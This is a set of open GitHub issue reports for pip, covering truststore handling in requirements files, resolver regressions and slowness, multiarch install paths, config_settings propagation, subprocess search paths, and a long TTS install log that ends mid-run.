title: truststore feature does not work when set in a requirement file
body: ### Description

Hi,

After digging a bit, I am quite confident that the truststore feature does not work as expected when the option is placed in a requirement file.

In my org, we have a PyPi server with self-signed certs. I managed to make pip install work with the truststore feature when used in command line option, but when used in a requirement files, I get the typical error `unable to get local issuer certificate`.



### Expected behavior

I am expecting no difference in behaviour of the truststore feature whether it is set as command line option or in a requirement file (since the option `use-feature` is allowed in requirement files).

### pip version

23.2.1

### Python version

3.10

### OS

Windows 10 and Ubuntu 20.04 (I checked both)

### How to Reproduce

Not easy to reproduce, as you might need to set up a self signed pypi server or equivalent to reproduce the bug.
But basically, considering a requirements file like this:

requirements.txt
```
--use-feature truststore
--extra-index-url https://[custom_pypi_server]

some_package_on_custom_pypi_server
```

the command `pip install -r requirements.txt` will fail with an SSLContext error (see output after).

However, the command `pip install --use-feature truststore -r requirements.txt` works as expected.

After digging, I think the issue comes from the fact that without the commad line option, the PipSession object is instanciated with the default SSLContext. But this default context is not replaced by the truststore SSLContext when the `--use-feature truststore` line is parsed in the requirement file.

### Output

$ pip install -r requirements.txt
Looking in indexes: https://pypi.org/simple, https://[custom_pypi_server]/simple/
WARNING: Retrying (Retry(total=4, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: unable to get local issuer certificate (_ssl.c:1002)'))': /simple/dlab-tools/

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: JCapul
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12317: state: open
title: Pip fails to install satisfiable requirements due to bug in backjumping optimization
body: ### Description

On Python 3.9 Linux pip fails to install with the following requirements:

```
pandas>=1.3.5,<=1.4.0
pystac>=1.8.2,<=1.8.3
pystac-client>=0.3.2,<=0.3.3
sat-stac<=0.1.1
```

### Expected behavior

Should install the satisfiable requirements:

```
pandas==1.3.5
pystac==1.8.3
pystac-client==0.3.3
sat-stac==0.1.1
```


### pip version

23.2.1

### Python version

3.9

### OS

Linux

### How to Reproduce

```
python3.9 -m venv .venv
source .venv/bin/activate
python -m pip install pip --upgrade
pip install "pandas>=1.3.5,<=1.4.0" "pystac>=1.8.2,<=1.8.3" "pystac-client>=0.3.2,<=0.3.3" "sat-stac<=0.1.1"
```

### Output

```
INFO: pip is looking at multiple versions of pystac-client to determine which version is compatible with other requirements. This could take a while.
ERROR: Cannot install pystac-client==0.3.2 and pystac<=1.8.3 and >=1.8.2 because these package versions have conflicting dependencies.

The conflict is caused by:
    The user requested pystac<=1.8.3 and >=1.8.2
    pystac-client 0.3.2 depends on pystac~=1.2.0

To fix this you could try to:
1. loosen the range of package versions you've specified
2. remove package versions to allow pip attempt to solve the dependency conflict

ERROR: ResolutionImpossible: for help visit https://pip.pypa.io/en/latest/topics/dependency-resolution/#dealing-with-dependency-conflicts

```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).

### Context

This is a regression since Pip 23.1  which vendored resolvelib which included this change to backtracking: https://github.com/sarugaku/resolvelib/pull/113

There is already an issue on resolvelib side: https://github.com/sarugaku/resolvelib/issues/134

But given this has a bigger impact because it causes Pip to fail to install requirements when there is a valid solution I feel there should be an issue on Pip side until it is resolved.
user: notatallshaw
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12314: state: open
title: New resolver takes 1-2 hours to install a large requirements file
body: ### Description

This is a followup to #10788

Attached is a callgrind
[pip_callgrind.zip](https://github.com/pypa/pip/files/12806985/pip_callgrind.zip)

The bulk of the time is spent creating `Version` objects

<img width="1442" alt="Screenshot 2023-10-04 at 1 30 45 PM" src="https://github.com/pypa/pip/assets/663432/77c98edc-a8a8-4596-ab46-2abbacd96e75">


### Expected behavior

_No response_

### pip version

pip 23.2.1 from /root/ztest/lib/python3.11/site-packages/pip (python 3.11)

### Python version

3.11

### OS

alpine 3.18 linux

### How to Reproduce

Must use alpine 3.18 linux

`python3 -m cProfile -o all.pstats -m pip install --no-cache-dir --only-binary=:all: --index-url https://wheels.home-assistant.io/musllinux-index/ -r /usr/src/homeassistant/requirements_all.txt`

https://github.com/home-assistant/core/blob/dev/requirements_all.txt

or

Dockerfile https://github.com/home-assistant/core/blob/dev/Dockerfile

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: bdraco
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12311: state: open
title: Multiarch support for package installation directory
body: ### What's the problem this feature will solve?

I have a development environment with a mix of `aarch64` and `x86_64` machines and my `$HOME` directory resides on NFS and is shared across all those machines.

The default installation paths from a user `pip install` will cause confusing problems for packages that need platform-specific files. 

For example, after installing `json-schema` on a `x86_64` machine first and then trying to use it on a `aarch64` machine:
```console
$ pip3 install --user jsonschema && python3 -c 'import jsonschema'
Requirement already satisfied: jsonschema in ./.local/lib/python3.10/site-packages (4.19.1)
Requirement already satisfied: attrs>=22.2.0 in ./.local/lib/python3.10/site-packages (from jsonschema) (23.1.0)
Requirement already satisfied: jsonschema-specifications>=2023.03.6 in ./.local/lib/python3.10/site-packages (from jsonschema) (2023.7.1)
Requirement already satisfied: referencing>=0.28.4 in ./.local/lib/python3.10/site-packages (from jsonschema) (0.30.2)
Requirement already satisfied: rpds-py>=0.7.1 in ./.local/lib/python3.10/site-packages (from jsonschema) (0.10.3)
Traceback (most recent call last):
  File "<string>", line 1, in <module>
  File "/home/fabecassis/.local/lib/python3.10/site-packages/jsonschema/__init__.py", line 13, in <module>
    from jsonschema._format import FormatChecker
  File "/home/fabecassis/.local/lib/python3.10/site-packages/jsonschema/_format.py", line 11, in <module>
    from jsonschema.exceptions import FormatError
  File "/home/fabecassis/.local/lib/python3.10/site-packages/jsonschema/exceptions.py", line 15, in <module>
    from referencing.exceptions import Unresolvable as _Unresolvable
  File "/home/fabecassis/.local/lib/python3.10/site-packages/referencing/__init__.py", line 4, in <module>
    from referencing._core import Anchor, Registry, Resource, Specification
  File "/home/fabecassis/.local/lib/python3.10/site-packages/referencing/_core.py", line 8, in <module>
    from rpds import HashTrieMap, HashTrieSet, List
  File "/home/fabecassis/.local/lib/python3.10/site-packages/rpds/__init__.py", line 1, in <module>
    from .rpds import *
ModuleNotFoundError: No module named 'rpds.rpds'
```

`rpds-py` is considered to be already installed by `pip`, but it's the `x86_64` version that was installed:
```console
$ uname -m
aarch64

$ ls /home/fabecassis/.local/lib/python3.10/site-packages/rpds/
__init__.py  __init__.pyi  __pycache__  py.typed  rpds.cpython-310-x86_64-linux-gnu.so
```



### Describe the solution you'd like

Is there a way to get `pip` to install platform-specific packages in a separate directory seamlessly?
Or perhaps the ability to install all platform files in the same package directory? e.g. ` rpds/rpds.cpython-310-aarch64-linux-gnu.so` and `rpds/rpds.cpython-310-x86_64-linux-gnu.so` simultaneously.

### Alternative Solutions

A colleague recommended the following:
```
export PYTHONUSERBASE="${HOME}/$(uname -m)"
export PATH="${PYTHONUSERBASE}/bin:${PATH}"
```
It works, but it will cause a duplication of all platform-agnostic python packages. In addition, it requires setting `PATH` to a non-standard location (whereas `${HOME}/.local/bin` is used by other tools).


### Additional context

https://docs.python.org/3/library/sysconfig.html#installation-paths mentions `purelib` and `platlib`, but AFAIK this cannot be modified through `pip`.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: flx42
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_12310: state: open
title: `pip wheel -r ...` does not pass `config_settings`
body: ### Description

`pip wheel` correctly passes `config_settings` when given a requirement specifier directly, but not when given a requirements file.

Works:
```sh
pip wheel --config-settings "setup-args=-Dblas=blas" scipy==1.10.1
```

Doesn't work:
```sh
echo 'scipy==1.10.1' > r.txt
pip wheel --config-settings "setup-args=-Dblas=blas" -r r.txt
```


### Expected behavior

`config_settings` are passed when using `pip wheel` with a requirements file

### pip version

23.2.1 (also head and older versions)

### Python version

3.8

### OS

Linux

### How to Reproduce

1. in an environment with `gfortran` intentionally missing, try to build scipy with `pip wheel -r ...` and setting `setup-args`
2. in the error output (due to missing `gfortran`), confirm whether `setup-args` propagated to the `meson` command line

#### `-r` case (broken)
```sh
pip install --upgrade pip wheel
echo 'scipy==1.10.1' > r.txt
pip wheel --config-settings "setup-args=-Dblas=blas" -r r.txt
```

#### direct specifier case
```sh
pip install --upgrade pip wheel
pip wheel --config-settings "setup-args=-Dblas=blas" scipy==1.10.1
```


### Output

#### `-r` case (broken)
`-Dblas` is not passed to meson build

`+ meson setup --prefix=/usr /tmp/pip-wheel-6j8l4ith/scipy_206aaca2ef1b4369946502a91692a4b9 /tmp/pip-wheel-6j8l4ith/scipy_206aaca2ef1b4369946502a91692a4b9/.mesonpy-oc75antm/build --native-file=/tmp/pip-wheel-6j8l4ith/scipy_206aaca2ef1b4369946502a91692a4b9/.mesonpy-native-file.ini -Ddebug=false -Doptimization=2`

#### direct specifier case
`+ meson setup --prefix=/usr /tmp/pip-wheel-jf4yjx_6/scipy_5f743564b93f4f4eaadba75a455c21b7 /tmp/pip-wheel-jf4yjx_6/scipy_5f743564b93f4f4eaadba75a455c21b7/.mesonpy-l963lj1w/build --native-file=/tmp/pip-wheel-jf4yjx_6/scipy_5f743564b93f4f4eaadba75a455c21b7/.mesonpy-native-file.ini -Ddebug=false -Doptimization=2 -Dblas=blas`

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: belm0
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12309: state: open
title: pip's subprocesses have different module search path from parent process.
body: ### Description

Pip creates subprocesses, such as this one which runs hooks:

https://github.com/pypa/pip/blob/ff05e4224bd7d1030e46d07e3a9c9419d39292fe/src/pip/_vendor/pyproject_hooks/_impl.py#L310-L315

The issue is that **this subprocess may run with different module search paths than the pip python process** itself.

For example, when you run pip under `python -S` like this:

```shell
python -S -m pip install --no-build-isolation ...
```

the system and user site-packages directories are dropped from `sys.path`, only `PYTHONPATH` and standard libs are considered.

However, pip (or, vendored pyproject) then runs hooks by just executing `sys.executable` *without* the `-S` flag, meaning that hooks from system and user site-packages are executed.

There are no environment variables equivalent to `-S`. Closest is `PYTHONNOUSERSITE=1`, but that only disables user site-packages, not system site-packages -- it's equivalent to lowercase `python -s`, not `python -S`.

### Expected behavior

If pip is executed under `python -S`, also run subprocesses with `python -S`.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: haampie
labels: state: needs discussion: This needs some more discussion
type: feature request: Request for a new feature
issue_12308: state: open
title: Remove support for installed eggs distributions
body: I could not find the deprecation issue for this, but this was scheduled for removal in 23.3.
user: sbidoul
issue_12305: state: open
title: pip install TTS failure: pip._vendor.resolvelib.resolvers.ResolutionTooDeep: 200000
body: ### Description

Can't make pip installation of [TTS](https://github.com/coqui-ai/TTS) package.

`TTS` related issue: https://github.com/coqui-ai/TTS/issues/3017

Possibly related `pip` issues:
https://github.com/pypa/pip/issues/8380
https://github.com/pypa/pip/issues/10473

### Expected behavior

pip installation finishing without error messages

### pip version

23.1.2

### Python version

Python 3.8.7 (tags/v3.8.7:6503f05, Dec 21 2020, 17:59:51) [MSC v.1928 64 bit (AMD64)] on win32

### OS

Windows 7 Home Premium, 64 bits

### How to Reproduce

1. Run the following command: `pip install TTS`

2. Wait (1-2 hours ... is this normal?)

3. See error message: `pip._vendor.resolvelib.resolvers.ResolutionTooDeep: 200000`

### Output

```
C:>C:\Python38\scripts\pip install TTS

Collecting TTS
  Downloading TTS-0.14.3.tar.gz (1.5 MB)
     ---------------------------------------- 1.5/1.5 MB 1.7 MB/s eta 0:00:00
  Installing build dependencies ... done
  Getting requirements to build wheel ... done
  Preparing metadata (pyproject.toml) ... done
Collecting cython==0.29.28 (from TTS)
  Using cached Cython-0.29.28-py2.py3-none-any.whl (983 kB)
Requirement already satisfied: scipy>=1.4.0 in C:\python38\lib\site-packages (from TTS) (1.7.1)
Collecting torch>=1.7 (from TTS)
  Downloading torch-2.0.1-cp38-cp38-win_amd64.whl (172.4 MB)
     ---------------------------------------- 172.4/172.4 MB ? eta 0:00:00
Collecting torchaudio (from TTS)
  Downloading torchaudio-2.0.2-cp38-cp38-win_amd64.whl (2.1 MB)
     ---------------------------------------- 2.1/2.1 MB 3.6 MB/s eta 0:00:00
Collecting soundfile (from TTS)
  Downloading soundfile-0.12.1-py2.py3-none-win_amd64.whl (1.0 MB)
     ---------------------------------------- 1.0/1.0 MB 5.8 MB/s eta 0:00:00
Collecting librosa==0.10.0.* (from TTS)
  Downloading librosa-0.10.0.post2-py3-none-any.whl (253 kB)
     ---------------------------------------- 253.0/253.0 kB 15.2 MB/s eta 0:00:00
Collecting inflect==5.6.0 (from TTS)
  Downloading inflect-5.6.0-py3-none-any.whl (33 kB)
Requirement already satisfied: tqdm in C:\python38\lib\site-packages (from TTS) (4.60.0)
Collecting anyascii (from TTS)
  Downloading anyascii-0.3.2-py3-none-any.whl (289 kB)
     ---------------------------------------- 289.9/289.9 kB 9.0 MB/s eta 0:00:00
Requirement already satisfied: pyyaml in C:\python38\lib\site-packages (from TTS) (5.4.1)
Requirement already satisfied: fsspec>=2021.04.0 in C:\python38\lib\site-packages (from TTS) (2022.3.0)
Requirement already satisfied: aiohttp in C:\python38\lib\site-packages (from TTS) (3.7.3)
Requirement already satisfied: packaging in C:\python38\lib\site-packages (from TTS) (23.0)
Collecting flask (from TTS)
  Downloading flask-2.3.3-py3-none-any.whl (96 kB)
     ---------------------------------------- 96.1/96.1 kB 5.4 MB/s eta 0:00:00
Collecting pysbd (from TTS)
  Downloading pysbd-0.3.4-py3-none-any.whl (71 kB)
     ---------------------------------------- 71.1/71.1 kB 2.0 MB/s eta 0:00:00
Collecting umap-learn==0.5.1 (from TTS)
  Downloading umap-learn-0.5.1.tar.gz (80 kB)
     ---------------------------------------- 80.9/80.9 kB 4.7 MB/s eta 0:00:00
  Preparing metadata (setup.py) ... done
Requirement already satisfied: pandas in C:\python38\lib\site-packages (from TTS) (1.5.1)
Requirement already satisfied: matplotlib in C:\python38\lib\site-packages (from TTS) (3.6.3)
Collecting trainer==0.0.20 (from TTS)
  Downloading trainer-0.0.20-py3-none-any.whl (45 kB)
     ---------------------------------------- 45.2/45.2 kB 1.1 MB/s eta 0:00:00
Collecting coqpit>=0.0.16 (from TTS)
  Downloading coqpit-0.0.17-py3-none-any.whl (13 kB)
Collecting jieba (from TTS)
  Downloading jieba-0.42.1.tar.gz (19.2 MB)
     ---------------------------------------- 19.2/19.2 MB 2.0 MB/s eta 0:00:00
  Preparing metadata (setup.py) ... done
Collecting pypinyin (from TTS)
  Downloading pypinyin-0.49.0-py2.py3-none-any.whl (1.4 MB)
     ---------------------------------------- 1.4/1.4 MB 3.2 MB/s eta 0:00:00
Collecting mecab-python3==1.0.5 (from TTS)
  Downloading mecab_python3-1.0.5-cp38-cp38-win_amd64.whl (500 kB)
     ---------------------------------------- 500.8/500.8 kB 6.3 MB/s eta 0:00:00
Collecting unidic-lite==1.0.8 (from TTS)
  Downloading unidic-lite-1.0.8.tar.gz (47.4 MB)
     ---------------------------------------- 47.4/47.4 MB 1.8 MB/s eta 0:00:00
  Preparing metadata (setup.py) ... done
Collecting gruut[de,es,fr]==2.2.3 (from TTS)
  Downloading gruut-2.2.3.tar.gz (73 kB)
     ---------------------------------------- 73.5/73.5 kB 213.1 kB/s eta 0:00:00
  Preparing metadata (setup.py) ... done
Collecting jamo (from TTS)
  Downloading jamo-0.4.1-py3-none-any.whl (9.5 kB)
Collecting nltk (from TTS)
  Downloading nltk-3.8.1-py3-none-any.whl (1.5 MB)
     ---------------------------------------- 1.5/1.5 MB 3.4 MB/s eta 0:00:00
Collecting g2pkk>=0.1.1 (from TTS)
  Downloading g2pkk-0.1.2-py3-none-any.whl (25 kB)
Collecting bangla==0.0.2 (from TTS)
  Downloading bangla-0.0.2-py2.py3-none-any.whl (6.2 kB)
Collecting bnnumerizer (from TTS)
  Downloading bnnumerizer-0.0.2.tar.gz (4.7 kB)
  Preparing metadata (setup.py) ... done
Collecting bnunicodenormalizer==0.1.1 (from TTS)
  Downloading bnunicodenormalizer-0.1.1.tar.gz (38 kB)
  Preparing metadata (setup.py) ... done
Collecting k-diffusion (from TTS)
  Downloading k_diffusion-0.1.0-py3-none-any.whl (33 kB)
Collecting einops (from TTS)
  Downloading einops-0.6.1-py3-none-any.whl (42 kB)
     ---------------------------------------- 42.2/42.2 kB 1.0 MB/s eta 0:00:00
Collecting transformers (from TTS)
  Downloading transformers-4.33.3-py3-none-any.whl (7.6 MB)
     ---------------------------------------- 7.6/7.6 MB 3.1 MB/s eta 0:00:00
Collecting numpy==1.21.6 (from TTS)
  Using cached numpy-1.21.6-cp38-cp38-win_amd64.whl (14.0 MB)
Collecting numba==0.55.1 (from TTS)
  Downloading numba-0.55.1-cp38-cp38-win_amd64.whl (2.4 MB)
     ---------------------------------------- 2.4/2.4 MB 4.1 MB/s eta 0:00:00
Requirement already satisfied: Babel<3.0.0,>=2.8.0 in C:\python38\lib\site-packages (from gruut[de,es,fr]==2.2.3->TT
Collecting dateparser~=1.1.0 (from gruut[de,es,fr]==2.2.3->TTS)
  Downloading dateparser-1.1.8-py2.py3-none-any.whl (293 kB)
     ---------------------------------------- 293.8/293.8 kB 4.6 MB/s eta 0:00:00
Collecting gruut-ipa<1.0,>=0.12.0 (from gruut[de,es,fr]==2.2.3->TTS)
  Downloading gruut-ipa-0.13.0.tar.gz (101 kB)
     ---------------------------------------- 101.6/101.6 kB ? eta 0:00:00
  Preparing metadata (setup.py) ... done
Collecting gruut_lang_en~=2.0.0 (from gruut[de,es,fr]==2.2.3->TTS)
  Downloading gruut_lang_en-2.0.0.tar.gz (15.2 MB)
     ---------------------------------------- 15.2/15.2 MB 3.5 MB/s eta 0:00:00
  Preparing metadata (setup.py) ... done
Collecting jsonlines~=1.2.0 (from gruut[de,es,fr]==2.2.3->TTS)
  Downloading jsonlines-1.2.0-py2.py3-none-any.whl (7.6 kB)
Requirement already satisfied: networkx<3.0.0,>=2.5.0 in C:\python38\lib\site-packages (from gruut[de,es,fr]==2.2.3-
Collecting num2words<1.0.0,>=0.5.10 (from gruut[de,es,fr]==2.2.3->TTS)
  Downloading num2words-0.5.12-py3-none-any.whl (125 kB)
     ---------------------------------------- 125.2/125.2 kB 7.2 MB/s eta 0:00:00
Collecting python-crfsuite~=0.9.7 (from gruut[de,es,fr]==2.2.3->TTS)
  Downloading python_crfsuite-0.9.9-cp38-cp38-win_amd64.whl (138 kB)
     ---------------------------------------- 138.9/138.9 kB 4.2 MB/s eta 0:00:00
Requirement already satisfied: importlib_resources in C:\python38\lib\site-packages (from gruut[de,es,fr]==2.2.3->TT
Collecting gruut_lang_es~=2.0.0 (from gruut[de,es,fr]==2.2.3->TTS)
  Downloading gruut_lang_es-2.0.0.tar.gz (31.4 MB)
     ---------------------------------------- 31.4/31.4 MB 2.8 MB/s eta 0:00:00
  Preparing metadata (setup.py) ... done
Collecting gruut_lang_fr~=2.0.0 (from gruut[de,es,fr]==2.2.3->TTS)
  Downloading gruut_lang_fr-2.0.2.tar.gz (10.9 MB)
     ---------------------------------------- 10.9/10.9 MB 3.8 MB/s eta 0:00:00
  Preparing metadata (setup.py) ... done
Collecting gruut_lang_de~=2.0.0 (from gruut[de,es,fr]==2.2.3->TTS)
  Downloading gruut_lang_de-2.0.0.tar.gz (18.1 MB)
     ---------------------------------------- 18.1/18.1 MB 3.9 MB/s eta 0:00:00
  Preparing metadata (setup.py) ... done
Collecting audioread>=2.1.9 (from librosa==0.10.0.*->TTS)
  Downloading audioread-3.0.1-py3-none-any.whl (23 kB)
Requirement already satisfied: scikit-learn>=0.20.0 in C:\python38\lib\site-packages (from librosa==0.10.0.*->TTS) (
Requirement already satisfied: joblib>=0.14 in C:\python38\lib\site-packages (from librosa==0.10.0.*->TTS) (1.0.1)
Requirement already satisfied: decorator>=4.3.0 in C:\python38\lib\site-packages (from librosa==0.10.0.*->TTS) (4.4.
Collecting pooch<1.7,>=1.0 (from librosa==0.10.0.*->TTS)
  Downloading pooch-1.6.0-py3-none-any.whl (56 kB)
     ---------------------------------------- 56.3/56.3 kB 51.7 kB/s eta 0:00:00
Collecting soxr>=0.3.2 (from librosa==0.10.0.*->TTS)
  Downloading soxr-0.3.6-cp38-cp38-win_amd64.whl (185 kB)
     ---------------------------------------- 185.1/185.1 kB 431.8 kB/s eta 0:00:00
Requirement already satisfied: typing-extensions>=4.1.1 in C:\python38\lib\site-packages (from librosa==0.10.0.*->TT
Collecting lazy-loader>=0.1 (from librosa==0.10.0.*->TTS)
  Downloading lazy_loader-0.3-py3-none-any.whl (9.1 kB)
Collecting msgpack>=1.0 (from librosa==0.10.0.*->TTS)
  Downloading msgpack-1.0.7-cp38-cp38-win_amd64.whl (222 kB)
     ---------------------------------------- 222.8/222.8 kB 1.4 MB/s eta 0:00:00
Collecting llvmlite<0.39,>=0.38.0rc1 (from numba==0.55.1->TTS)
  Downloading llvmlite-0.38.1-cp38-cp38-win_amd64.whl (23.2 MB)
     ---------------------------------------- 23.2/23.2 MB 917.7 kB/s eta 0:00:00
Requirement already satisfied: setuptools in C:\python38\lib\site-packages (from numba==0.55.1->TTS) (67.6.1)
Requirement already satisfied: psutil in C:\python38\lib\site-packages (from trainer==0.0.20->TTS) (5.8.0)
Collecting tensorboardX (from trainer==0.0.20->TTS)
  Downloading tensorboardX-2.6.2.2-py2.py3-none-any.whl (101 kB)
     ---------------------------------------- 101.7/101.7 kB 1.9 MB/s eta 0:00:00
Requirement already satisfied: protobuf<3.20,>=3.9.2 in C:\python38\lib\site-packages (from trainer==0.0.20->TTS) (3
Collecting pynndescent>=0.5 (from umap-learn==0.5.1->TTS)
  Downloading pynndescent-0.5.10.tar.gz (1.1 MB)
     ---------------------------------------- 1.1/1.1 MB 3.3 MB/s eta 0:00:00
  Preparing metadata (setup.py) ... done
Requirement already satisfied: cffi>=1.0 in C:\python38\lib\site-packages (from soundfile->TTS) (1.14.5)
Requirement already satisfied: filelock in C:\python38\lib\site-packages (from torch>=1.7->TTS) (3.0.12)
Requirement already satisfied: sympy in C:\python38\lib\site-packages (from torch>=1.7->TTS) (1.11.1)
Requirement already satisfied: jinja2 in C:\python38\lib\site-packages (from torch>=1.7->TTS) (3.0.1)
Requirement already satisfied: attrs>=17.3.0 in C:\python38\lib\site-packages (from aiohttp->TTS) (21.2.0)
Requirement already satisfied: chardet<4.0,>=2.0 in C:\python38\lib\site-packages (from aiohttp->TTS) (3.0.4)
Requirement already satisfied: multidict<7.0,>=4.5 in C:\python38\lib\site-packages (from aiohttp->TTS) (5.1.0)
Requirement already satisfied: async-timeout<4.0,>=3.0 in C:\python38\lib\site-packages (from aiohttp->TTS) (3.0.1)
Requirement already satisfied: yarl<2.0,>=1.0 in C:\python38\lib\site-packages (from aiohttp->TTS) (1.6.3)
Collecting Werkzeug>=2.3.7 (from flask->TTS)
  Downloading werkzeug-2.3.7-py3-none-any.whl (242 kB)
     ---------------------------------------- 242.2/242.2 kB 1.5 MB/s eta 0:00:00
Collecting jinja2 (from torch>=1.7->TTS)
  Downloading Jinja2-3.1.2-py3-none-any.whl (133 kB)
     ---------------------------------------- 133.1/133.1 kB 7.7 MB/s eta 0:00:00
Requirement already satisfied: itsdangerous>=2.1.2 in C:\python38\lib\site-packages (from flask->TTS) (2.1.2)
Requirement already satisfied: click>=8.1.3 in C:\python38\lib\site-packages (from flask->TTS) (8.1.7)
Collecting blinker>=1.6.2 (from flask->TTS)
  Downloading blinker-1.6.2-py3-none-any.whl (13 kB)
Requirement already satisfied: importlib-metadata>=3.6.0 in C:\python38\lib\site-packages (from flask->TTS) (6.0.0)
Collecting accelerate (from k-diffusion->TTS)
  Downloading accelerate-0.23.0-py3-none-any.whl (258 kB)
     ---------------------------------------- 258.1/258.1 kB 4.0 MB/s eta 0:00:00
Collecting clean-fid (from k-diffusion->TTS)
  Downloading clean_fid-0.1.35-py3-none-any.whl (26 kB)
Collecting clip-anytorch (from k-diffusion->TTS)
  Downloading clip_anytorch-2.5.2-py3-none-any.whl (1.4 MB)
     ---------------------------------------- 1.4/1.4 MB 3.1 MB/s eta 0:00:00
Collecting dctorch (from k-diffusion->TTS)
  Downloading dctorch-0.1.2-py3-none-any.whl (2.3 kB)
Collecting jsonmerge (from k-diffusion->TTS)
  Downloading jsonmerge-1.9.2-py3-none-any.whl (19 kB)
Collecting kornia (from k-diffusion->TTS)
  Downloading kornia-0.7.0-py2.py3-none-any.whl (705 kB)
     ---------------------------------------- 705.7/705.7 kB 3.0 MB/s eta 0:00:00
Requirement already satisfied: Pillow in C:\python38\lib\site-packages (from k-diffusion->TTS) (9.5.0)
Collecting rotary-embedding-torch (from k-diffusion->TTS)
  Downloading rotary_embedding_torch-0.3.0-py3-none-any.whl (4.9 kB)
Collecting safetensors (from k-diffusion->TTS)
  Downloading safetensors-0.3.3-cp38-cp38-win_amd64.whl (266 kB)
     ---------------------------------------- 266.3/266.3 kB 1.6 MB/s eta 0:00:00
Collecting scikit-image (from k-diffusion->TTS)
  Downloading scikit_image-0.21.0-cp38-cp38-win_amd64.whl (22.7 MB)
     ---------------------------------------- 22.7/22.7 MB 944.0 kB/s eta 0:00:00
Collecting torchdiffeq (from k-diffusion->TTS)
  Downloading torchdiffeq-0.2.3-py3-none-any.whl (31 kB)
Collecting torchsde (from k-diffusion->TTS)
  Downloading torchsde-0.2.6-py3-none-any.whl (61 kB)
     ---------------------------------------- 61.2/61.2 kB ? eta 0:00:00
Collecting torchvision (from k-diffusion->TTS)
  Downloading torchvision-0.15.2-cp38-cp38-win_amd64.whl (1.2 MB)
     ---------------------------------------- 1.2/1.2 MB 6.3 MB/s eta 0:00:00
Collecting wandb (from k-diffusion->TTS)
  Downloading wandb-0.15.11-py3-none-any.whl (2.1 MB)
     ---------------------------------------- 2.1/2.1 MB 2.8 MB/s eta 0:00:00
Requirement already satisfied: contourpy>=1.0.1 in C:\python38\lib\site-packages (from matplotlib->TTS) (1.0.7)
Requirement already satisfied: cycler>=0.10 in C:\python38\lib\site-packages (from matplotlib->TTS) (0.10.0)
Requirement already satisfied: fonttools>=4.22.0 in C:\python38\lib\site-packages (from matplotlib->TTS) (4.38.0)
Requirement already satisfied: kiwisolver>=1.0.1 in C:\python38\lib\site-packages (from matplotlib->TTS) (1.3.1)
Requirement already satisfied: pyparsing>=2.2.1 in C:\python38\lib\site-packages (from matplotlib->TTS) (2.4.7)
Requirement already satisfied: python-dateutil>=2.7 in C:\python38\lib\site-packages (from matplotlib->TTS) (2.8.2)
Collecting regex>=2021.8.3 (from nltk->TTS)
  Downloading regex-2023.8.8-cp38-cp38-win_amd64.whl (268 kB)
     ---------------------------------------- 268.3/268.3 kB 4.2 MB/s eta 0:00:00
Requirement already satisfied: pytz>=2020.1 in C:\python38\lib\site-packages (from pandas->TTS) (2021.1)
Collecting huggingface-hub<1.0,>=0.15.1 (from transformers->TTS)
  Downloading huggingface_hub-0.17.3-py3-none-any.whl (295 kB)
     ---------------------------------------- 295.0/295.0 kB 1.1 MB/s eta 0:00:00
Requirement already satisfied: requests in C:\python38\lib\site-packages (from transformers->TTS) (2.31.0)
Collecting tokenizers!=0.11.3,<0.14,>=0.11.1 (from transformers->TTS)
  Downloading tokenizers-0.13.3-cp38-cp38-win_amd64.whl (3.5 MB)
     ---------------------------------------- 3.5/3.5 MB 4.7 MB/s eta 0:00:00
Requirement already satisfied: pycparser in C:\python38\lib\site-packages (from cffi>=1.0->soundfile->TTS) (2.20)
Requirement already satisfied: colorama in C:\python38\lib\site-packages (from click>=8.1.3->flask->TTS) (0.4.6)
Requirement already satisfied: six in C:\python38\lib\site-packages (from cycler>=0.10->matplotlib->TTS) (1.15.0)
Requirement already satisfied: tzlocal in C:\python38\lib\site-packages (from dateparser~=1.1.0->gruut[de,es,fr]==2.
Requirement already satisfied: zipp>=0.5 in C:\python38\lib\site-packages (from importlib-metadata>=3.6.0->flask->TT
Requirement already satisfied: MarkupSafe>=2.0 in C:\python38\lib\site-packages (from jinja2->torch>=1.7->TTS) (2.0.
Collecting docopt>=0.6.2 (from num2words<1.0.0,>=0.5.10->gruut[de,es,fr]==2.2.3->TTS)
  Downloading docopt-0.6.2.tar.gz (25 kB)
  Preparing metadata (setup.py) ... done
Requirement already satisfied: appdirs>=1.3.0 in C:\python38\lib\site-packages (from pooch<1.7,>=1.0->librosa==0.10.
Requirement already satisfied: charset-normalizer<4,>=2 in C:\python38\lib\site-packages (from requests->transformer
Requirement already satisfied: idna<4,>=2.5 in C:\python38\lib\site-packages (from requests->transformers->TTS) (2.1
Requirement already satisfied: urllib3<3,>=1.21.1 in C:\python38\lib\site-packages (from requests->transformers->TTS
Requirement already satisfied: certifi>=2017.4.17 in C:\python38\lib\site-packages (from requests->transformers->TTS
Requirement already satisfied: threadpoolctl>=2.0.0 in C:\python38\lib\site-packages (from scikit-learn>=0.20.0->lib
Collecting MarkupSafe>=2.0 (from jinja2->torch>=1.7->TTS)
  Downloading MarkupSafe-2.1.3-cp38-cp38-win_amd64.whl (17 kB)
Collecting ftfy (from clip-anytorch->k-diffusion->TTS)
  Downloading ftfy-6.1.1-py3-none-any.whl (53 kB)
     ---------------------------------------- 53.1/53.1 kB 2.7 MB/s eta 0:00:00
INFO: pip is looking at multiple versions of dctorch to determine which version is compatible with other requirements. This could take a while.
Collecting dctorch (from k-diffusion->TTS)
